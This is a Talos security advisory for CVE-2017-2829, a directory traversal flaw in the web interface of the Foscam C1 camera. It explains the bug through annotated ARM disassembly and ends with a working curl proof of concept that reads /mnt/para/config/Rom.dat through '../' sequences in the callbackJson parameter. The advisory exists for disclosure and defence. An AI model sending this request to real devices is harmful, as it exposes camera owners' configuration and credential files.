Talos Vulnerability Report

TALOS-2017-0330

Foscam IP Video Camera CGIProxy.fcgi Message 0x3001 Directory Traversal Vulnerability

June 19, 2017
CVE Number

CVE-2017-2829

Summary

An exploitable directory traversal vulnerability exists in the web management interface used by the Foscam C1 Indoor HD Camera running application firmware 2.52.2.37. A specially crafted HTTP request can cause the application to read a file from disk but a failulre to adequately filter characters results in allowing an attacker to specify a file outside of a directory. An attacker can simply send an HTTP request to the device to trigger this vulnerability.

Tested Versions

Foscam, Inc. Indoor IP Camera C1 Series

System Firmware Version: 1.9.3.17
Application Firmware Version: 2.52.2.37
Web Version: 2.0.1.1
Plug-In Version: 3.3.0.5

Product URLs

Foscam

CVSSv3 Score

7.7 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

CWE

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Details

Foscam produces a series of IP-capable surveillance devices, network video recorders, and baby monitors for the end-user. Foscam produces a range of cameras for both indoor and outdoor use and with wireless capability. One of these models is the C1 series which contains a web-based user interface for management and is based on the arm architecture. Foscam is considered one of the most common security cameras out on the current market.

When various services are started, a service will first register a callback using the CMsgClient::registerMsgHandle function [1]. This will register a function to be called [2] when another service dispatches a message of the specified code [3]. An example of this registration process is handled inside the FCGI_Init function of the "CGIProxy.fcgi" service using the following code:

.text:00009F20                       FCGX_Init_1f20
.text:00009F20
.text:00009F20 F0 41 2D E9                       STMFD   SP!, {R4-R8,LR}
.text:00009F24 41 DE 4D E2                       SUB     SP, SP, #0x410
.text:00009F28 08 D0 4D E2                       SUB     SP, SP, #8
.text:00009F2C 05 FC FF EB                       BL      FCGX_Init
.text:00009F2C
.text:00009F30 00 10 50 E2                       SUBS    R1, R0, #0
.text:00009F34 44 01 9F 15                       LDRNE   R0, =str.FCGX_Initfailed
.text:00009F38 05 00 00 1A                       BNE     leave_exit_1f54
.text:00009F3C
.text:00009F3C 40 01 9F E5                       LDR     R0, =gv_theRequest_10b74
.text:00009F40 01 20 A0 E1                       MOV     R2, R1
.text:00009F44 1A FC FF EB                       BL      FCGX_InitRequest
.text:00009F48
.text:00009F48 00 00 50 E3                       CMP     R0, #0
.text:00009F4C 03 00 00 0A                       BEQ     loc_9F60
...
.text:00009F60                       loc_9F60
.text:00009F60 DB FE FF EB                       BL      registerMsgClients_1ad4    ; \
\
.text:00009AD4                       registerMsgClients_1ad4
.text:00009AD4 10 40 2D E9                       STMFD   SP!, {R4,LR}
.text:00009AD4
.text:00009AD8 30 40 9F E5                       LDR     R4, =gp_cMsgClient_bac8
.text:00009ADC 30 10 9F E5                       LDR     R1, =0x40004001                                                ; [3] code
.text:00009AE0 04 00 A0 E1                       MOV     R0, R4
.text:00009AE4 2C 20 9F E5                       LDR     R2, =CgiProxySnapPicHandler_1e38                               ; [2] callback function
.text:00009AE8 3D FD FF EB                       BL      CMsgClient::registerMsgHandle(int,void (*)(char const*,int))   ; [1]
.text:00009AE8
.text:00009AEC 04 00 A0 E1                       MOV     R0, R4
.text:00009AF0 24 10 9F E5                       LDR     R1, =0x3001
.text:00009AF4 1C 20 9F E5                       LDR     R2, =CgiProxySnapPicHandler_1e38
.text:00009AF8 39 FD FF EB                       BL      CMsgClient::registerMsgHandle(int,void (*)(char const*,int))
.text:00009AF8
.text:00009AFC 04 00 A0 E1                       MOV     R0, R4
.text:00009B00 18 10 9F E5                       LDR     R1, =0x3002
.text:00009B04 0C 20 9F E5                       LDR     R2, =CgiProxySnapPicHandler_1e38
.text:00009B08 10 40 BD E8                       LDMFD   SP!, {R4,LR}
.text:00009B0C 34 FD FF EA                       B       CMsgClient::registerMsgHandle(int,void (*)(char const*,int))

After the "CGIProxy.fcgi" service decodes an http request that was forwarded from the http daemon, the service will copy the decoded query into a buffer on the stack [4]. Once this is done, the buffer will then be used to pass the decoded query off to CMsgClient::sendMsg. This will dispatch the query to the shared messaging subsystem using the code 0x4001 at [5]. At this point, the service that handles the specified code will be woken up to handle the specified request.

.text:00009FA8 14 70 8D E2                       ADD     R7, SP, #0x430+lv_dest_41c
.text:00009FAC 08 10 A0 E1                       MOV     R1, R8
.text:00009FB0 07 00 A0 E1                       MOV     R0, R7
.text:00009FB4 34 FC FF EB                       BL      strcpy                     ; [4]
.text:00009FB8
.text:00009FB8 08 00 A0 E1                       MOV     R0, R8
.text:00009FBC C0 FB FF EB                       BL      strlen
.text:00009FC0
.text:00009FC0 CC 30 9F E5                       LDR     R3, =0x404
.text:00009FC4 00 30 8D E5                       STR     R3, [SP]
.text:00009FC8 C8 10 9F E5                       LDR     R1, =0x4001                ; [5]
.text:00009FCC 07 30 A0 E1                       MOV     R3, R7                     ; uri request
.text:00009FD0 01 20 A0 E3                       MOV     R2, #1
.text:00009FD4 04 40 8D E5                       STR     R4, [SP,#4]
.text:00009FD8 08 40 8D E5                       STR     R4, [SP,#8]
.text:00009FDC 0C 40 8D E5                       STR     R4, [SP,#12]
.text:00009FE0 14 04 8D E5                       STR     R0, [SP,#0x430+var_1C]
.text:00009FE4 B0 00 9F E5                       LDR     R0, =gp_cMsgClient_bac8
.text:00009FE8 CD FB FF EB                       BL      CMsgClient::sendMsg(int,char,char const*,int,int,int,char *)

The handler for code 0x4001 is in the "webService" binary and is done by the function executeCGICmd at address 0x1e5a4. At the beginning of this function, the service will call a function [6] that's responsible for extracting the user name, password, and command that was specified within the user's query. Once the parameters have been extracted and copied into a local buffer on the stack, the command will then be passed to the function call at [7] in order to determine the correct command function which is to be stored to funcptr. If authentication is not required for the command, then the branch at [8] will execute the function pointer returned by findJsonCallbackCommand at [7]. If authentication is required from the command, then the user name and password will be checked via strcmp and then the function call at [9] will execute the function pointer.

.text:0001E5A4                       executeCGICmd
.text:0001E5A4
.text:0001E5A4 F0 41 2D E9                       STMFD   SP!, {R4-R8,LR}
.text:0001E5A8 28 60 80 E2                       ADD     R6, R0, #0x28
.text:0001E5AC 11 DD 4D E2                       SUB     SP, SP, #0x440
.text:0001E5B0 00 80 A0 E1                       MOV     R8, R0
.text:0001E5B4 06 10 A0 E1                       MOV     R1, R6
.text:0001E5B8 C4 00 9F E5                       LDR     R0, =unk_D5A68
.text:0001E5BC 3A 2A 00 EB                       BL      sub_28EAC                          ; [6]
.text:0001E5C0 00 70 50 E2                       SUBS    R7, R0, #0
.text:0001E5C4 27 00 00 0A                       BEQ     replyMsg_1E668

.text:00028EAC                       sub_28EAC
.text:00028EAC
.text:00028EAC F0 47 2D E9                       STMFD   SP!, {R4-R10,LR}
.text:00028EB0 00 40 51 E2                       SUBS    R4, R1, #0
.text:00028EB4 00 80 A0 E1                       MOV     R8, R0
.text:00028EB8 46 DF 4D E2                       SUB     SP, SP, #0x118
.text:00028EBC 00 00 E0 03                       MOVEQ   R0, #0xFFFFFFFF
.text:00028EC0 8B 00 00 0A                       BEQ     leaving_290F4
...
.text:00028F4C 00 00 50 E3                       CMP     R0, #0
.text:00028F50 0C 00 00 1A                       BNE     findCmdCallback_28F88
...
.text:00028F88                       findCmdCallback_28F88
.text:00028F88 05 00 A0 E1                       MOV     R0, R5
.text:00028F8C 45 1F 8D E2                       ADD     R1, SP, #0x138+lp_funcptr?_24
.text:00028F90 89 FC FF EB                       BL      findJsonCallbackCommand_281BC      ; [7]
.text:00028F94 00 90 50 E2                       SUBS    R9, R0, #0
.text:00028F98 06 00 00 0A                       BEQ     checkIfAuthNeeded_28FB8
...
.text:00028FB8                       checkIfAuthNeeded_28FB8
.text:00028FB8 14 31 9D E5                       LDR     R3, [SP,#0x138+lp_funcptr?_24]
.text:00028FBC 54 21 9F E5                       LDR     R2, =0xFFFF
.text:00028FC0 08 10 93 E5                       LDR     R1, [R3,#8]
.text:00028FC4 02 00 51 E1                       CMP     R1, R2
.text:00028FC8 06 00 00 1A                       BNE     authenticate_28FE8
...
.text:00028FD8 04 00 A0 E1                       MOV     R0, R4
.text:00028FDC 33 FF 2F E1                       BLX     R3                                 ; [8]
.text:00028FE0 09 00 A0 E1                       MOV     R0, R9
.text:00028FE4 42 00 00 EA                       B       leaving_290F4
...
.text:000290E0 04 00 A0 E1                       MOV     R0, R4
.text:000290E4 33 FF 2F E1                       BLX     R3                                 ; [9]
.text:000290E8 05 00 A0 E1                       MOV     R0, R5
.text:000290EC 00 00 00 EA                       B       leaving_290F4
...
.text:000290F4 46 DF 8D E2                       ADD     SP, SP, #0x118
.text:000290F8 F0 87 BD E8                       LDMFD   SP!, {R4-R10,PC}

When handling the "usrBeatHeart" command, the function pointer for the function at 0x40ac0 will be called. This will extract the "usrName", "remoteIp", "groupId", and "callbackJson" parameters from the user's query and then log a heartbeat command. After this is done, the service will dispatch to the handler for message code 0x3001 at [10]. There are other ways to reach the path required for the vulnerability, but this specific path was discovered by the author to be the most straightforward.

.text:00040AC0                       usrBeatHeart
.text:00040AC0
.text:00040AC0 F0 45 2D E9                       STMFD   SP!, {R4-R8,R10,LR}
.text:00040AC4 13 DD 4D E2                       SUB     SP, SP, #0x4C0
...
.text:00040BCC 5C 30 9F E5                       LDR     R3, =0x40C
.text:00040BD0 00 20 A0 E3                       MOV     R2, #0
.text:00040BD4 00 30 8D E5                       STR     R3, [SP]
.text:00040BD8 54 10 9F E5                       LDR     R1, =0x3001
.text:00040BDC 1C 30 8D E2                       ADD     R3, SP, #0x4CC+var_4B0
.text:00040BE0 04 20 8D E5                       STR     R2, [SP,#4]
.text:00040BE4 08 20 8D E5                       STR     R2, [SP,#8]
.text:00040BE8 0C 20 8D E5                       STR     R2, [SP,#12]
.text:00040BEC 20 04 8D E5                       STR     R0, [SP,#0x4CC+lv_groupId_ac]
.text:00040BF0 40 00 9F E5                       LDR     R0, =gv_cMsgClient_9FC90
.text:00040BF4 98 47 FF EB                       BL      CMsgClient::sendMsg(int,char,char const*,int,int,int,char *)   ; [10]
.text:00040BF8 CC D0 8D E2                       ADD     SP, SP, #0xCC
.text:00040BFC 01 DB 8D E2                       ADD     SP, SP, #0x400
.text:00040C00 F0 85 BD E8                       LDMFD   SP!, {R4-R8,R10,PC}

The handler for message code 0x3001 is located back within the "CGIProxy.fcgi" service within a function called snapPicHandler. This function does a number of things after first determining what the request type was [11]. If the request was a GET request, then the branch at [12] will be skipped and execution will continue. At [13], the function will then search the request for the string "magic1234567890ABCDfileName>". This search is intended to find the content of an element named "" in order to extract the filename.

.text:00009B68                       snapPicHandler_1b68
.text:00009B68
.text:00009B68 84 32 9F E5                       LDR     R3, =gv_pid?_b278
.text:00009B6C F0 41 2D E9                       STMFD   SP!, {R4-R8,LR}
.text:00009B70 28 40 80 E2                       ADD     R4, R0, #0x28
.text:00009B74 04 24 94 E5                       LDR     R2, [R4,#0x404]
.text:00009B78 00 30 93 E5                       LDR     R3, [R3]
.text:00009B7C 19 DE 4D E2                       SUB     SP, SP, #0x190
.text:00009B80 03 00 52 E1                       CMP     R2, R3
.text:00009B84 98 00 00 1A                       BNE     leave_1dec
.text:00009B88
.text:00009B88 68 02 9F E5                       LDR     R0, =gv_globalContent_280
.text:00009B8C DB FD FF EB                       BL      sub_9300                               ; [11] determine request type
.text:00009B8C
.text:00009B90 00 70 50 E2                       SUBS    R7, R0, #0
.text:00009B94 66 00 00 1A                       BNE     handlePost?_1d34                       ; [12] anything other than GET
...
.text:00009B98                       handleGet?_1b98
.text:00009B98 04 00 A0 E1                       MOV     R0, R4
.text:00009B9C 58 12 9F E5                       LDR     R1, =str.magic1234567890ABCDfileName
.text:00009BA0 EF FF FF EB                       BL      j_strstr                               ; [13]
.text:00009BA4 00 00 50 E3                       CMP     R0, #0
.text:00009BA8 5A 00 00 0A                       BEQ     noMagicFound_1d18
...
.text:00009DEC                       leave_1dec
.text:00009DEC 19 DE 8D E2                       ADD     SP, SP, #0x190
.text:00009DF0 F0 81 BD E8                       LDMFD   SP!, {R4-R8,PC}

After determining the beginning of the element, the function will then execute the following code which will first find the terminating element at [14], and then extract its contents at [15]. Once this is performed, the function will then use sprintf at [16] to build a path to a file relative to "/tmp/www/snapPic/". This code does not do anything to strip out characters that may be used to traverse outside of the specified directory.

.text:00009BEC 08 00 A0 E1                       MOV     R0, R8
.text:00009BF0 08 12 9F E5                       LDR     R1, =str./
.text:00009BF4 DA FF FF EB                       BL      j_strstr                       ; [14]
.text:00009BF8
.text:00009BF8 00 20 50 E2                       SUBS    R2, R0, #0
.text:00009BFC 48 00 00 0A                       BEQ     returning_1d24
.text:00009C00
.text:00009C00 06 00 A0 E1                       MOV     R0, R6
.text:00009C04 08 10 A0 E1                       MOV     R1, R8
.text:00009C08 02 20 68 E0                       RSB     R2, R8, R2
.text:00009C0C 94 FC FF EB                       BL      memcpy                         ; [15]
.text:00009C0C
.text:00009C10 10 31 DD E5                       LDRB    R3, [SP,#0x1A8+lv_buffer_98]
.text:00009C14 00 00 53 E3                       CMP     R3, #0
.text:00009C18 41 00 00 0A                       BEQ     returning_1d24
...
.text:00009C1C 05 00 A0 E1                       MOV     R0, R5
.text:00009C20 DC 11 9F E5                       LDR     R1, =str./tmp/www/snapPic/s
.text:00009C24 06 20 A0 E1                       MOV     R2, R6
.text:00009C28 E7 FC FF EB                       BL      sprintf                        ; [16]

After building the path, the service will open up the file at [17], and then make a call to ftell in order to determine the size of the file [18]. Once this is done, the function will then allocate space on the heap [19] in order to read the contents of the file into. At [20], the application will then read the contents of the file into the allocated heap buffer.

.text:00009C2C 05 00 A0 E1                       MOV     R0, R5
.text:00009C30 D0 11 9F E5                       LDR     R1, =str.rb            ; [17]
.text:00009C34 BD FC FF EB                       BL      FCGI_fopen
.text:00009C38 00 50 50 E2                       SUBS    R5, R0, #0
.text:00009C3C 38 00 00 0A                       BEQ     returning_1d24
.text:00009C40
.text:00009C40 07 10 A0 E1                       MOV     R1, R7
.text:00009C44 02 20 A0 E3                       MOV     R2, #SEEK_END
.text:00009C48 E2 FC FF EB                       BL      FCGI_fseek
.text:00009C4C 05 00 A0 E1                       MOV     R0, R5
.text:00009C50 F5 FC FF EB                       BL      FCGI_ftell             ; [18]
.text:00009C54 07 10 A0 E1                       MOV     R1, R7
.text:00009C58 07 20 A0 E1                       MOV     R2, R7
.text:00009C5C 00 80 A0 E1                       MOV     R8, R0                 ; file size
.text:00009C60 05 00 A0 E1                       MOV     R0, R5
.text:00009C64 DB FC FF EB                       BL      FCGI_fseek
...
.text:00009C68 08 00 A0 E1                       MOV     R0, R8                 ; file size
.text:00009C6C 82 FC FF EB                       BL      malloc                 ; [19]
...
.text:00009C78 00 60 A0 E1                       MOV     R6, R0
...
.text:00009C80 01 10 A0 E3                       MOV     R1, #1
.text:00009C84 08 20 A0 E1                       MOV     R2, R8
.text:00009C88 05 30 A0 E1                       MOV     R3, R5
.text:00009C8C 06 00 A0 E1                       MOV     R0, R6
.text:00009C90 88 FC FF EB                       BL      FCGI_fread             ; [20]
.text:00009C94 00 70 A0 E1                       MOV     R7, R0                 ; length returned from fread
.text:00009C98 05 00 A0 E1                       MOV     R0, R5
.text:00009C9C E5 FC FF EB                       BL      FCGI_fclose

After reading the file into the heap buffer in %r6, the function will then proceed to build the http response headers in order to return the file back to the user. First the function will build the "Content-Type:" header at [21]. Afterwards, it will use the file size that was read earlier at [22] to build the "Content-Length:" header. Once that is all complete, the function will finally output the contents of the heap buffer which contains the contents of the specified file back to the user at [23].

.text:00009CA8 5C 11 9F E5                       LDR     R1, =str.s
.text:00009CAC 5C 21 9F E5                       LDR     R2, =str.Contenttype:image/jpeg
.text:00009CB0 04 00 A0 E1                       MOV     R0, R4
.text:00009CB4 C4 FC FF EB                       BL      sprintf
.text:00009CB8 04 00 A0 E1                       MOV     R0, R4
.text:00009CBC 80 FC FF EB                       BL      strlen
.text:00009CC0 4C 51 9F E5                       LDR     R5, =gv_theRequest_10b74
.text:00009CC4 0C 20 95 E5                       LDR     R2, [R5,#(dword_18B80 - 0x18B74)]
.text:00009CC8 00 10 A0 E1                       MOV     R1, R0
.text:00009CCC 04 00 A0 E1                       MOV     R0, R4
.text:00009CD0 F0 FC FF EB                       BL      FCGX_PutStr                        ; [21]
.text:00009CD0
.text:00009CD4 3C 11 9F E5                       LDR     R1, =str.ContentLength:d
.text:00009CD8 07 20 A0 E1                       MOV     R2, R7                             ; file size
.text:00009CDC 04 00 A0 E1                       MOV     R0, R4
.text:00009CE0 B9 FC FF EB                       BL      sprintf
.text:00009CE4 04 00 A0 E1                       MOV     R0, R4
.text:00009CE8 75 FC FF EB                       BL      strlen
.text:00009CEC 0C 20 95 E5                       LDR     R2, [R5,#(dword_18B80 - 0x18B74)]
.text:00009CF0 00 10 A0 E1                       MOV     R1, R0
.text:00009CF4 04 00 A0 E1                       MOV     R0, R4
.text:00009CF8 E6 FC FF EB                       BL      FCGX_PutStr                        ; [22]
.text:00009CF8
.text:00009CFC 06 00 A0 E1                       MOV     R0, R6                             ; heap buffer
.text:00009D00 07 10 A0 E1                       MOV     R1, R7                             ; file size
.text:00009D04 0C 20 95 E5                       LDR     R2, [R5,#(dword_18B80 - 0x18B74)]
.text:00009D08 E2 FC FF EB                       BL      FCGX_PutStr                        ; [23]

Exploit Proof-of-Concept

It was discovered that this vulnerability is reachable through the "usrBeatHeart" command due to the service passing the query parameters to the dispatcher for the message code 0x3001. The following request retrieves an arbitrary file from the device:

$ usr="admin"
$ pwd=""
$ fpath=/mnt/para/config/Rom.dat
$ curl "http://$SERVER/cgi-bin/CGIProxy.fcgi?usr=${usr}&pwd=${pwd}&cmd=usrBeatHeart&usrName=${usr}&callbackJson=<magic1234567890ABCDfileName>../../../${fpath}</magic123457890ABCDfileName>"

Timeline

2016-05-08 - Vendor Disclosure
2017-06-19 - Public Release

Credit

Discovered by Claudio Bozzato and another member of Cisco Talos.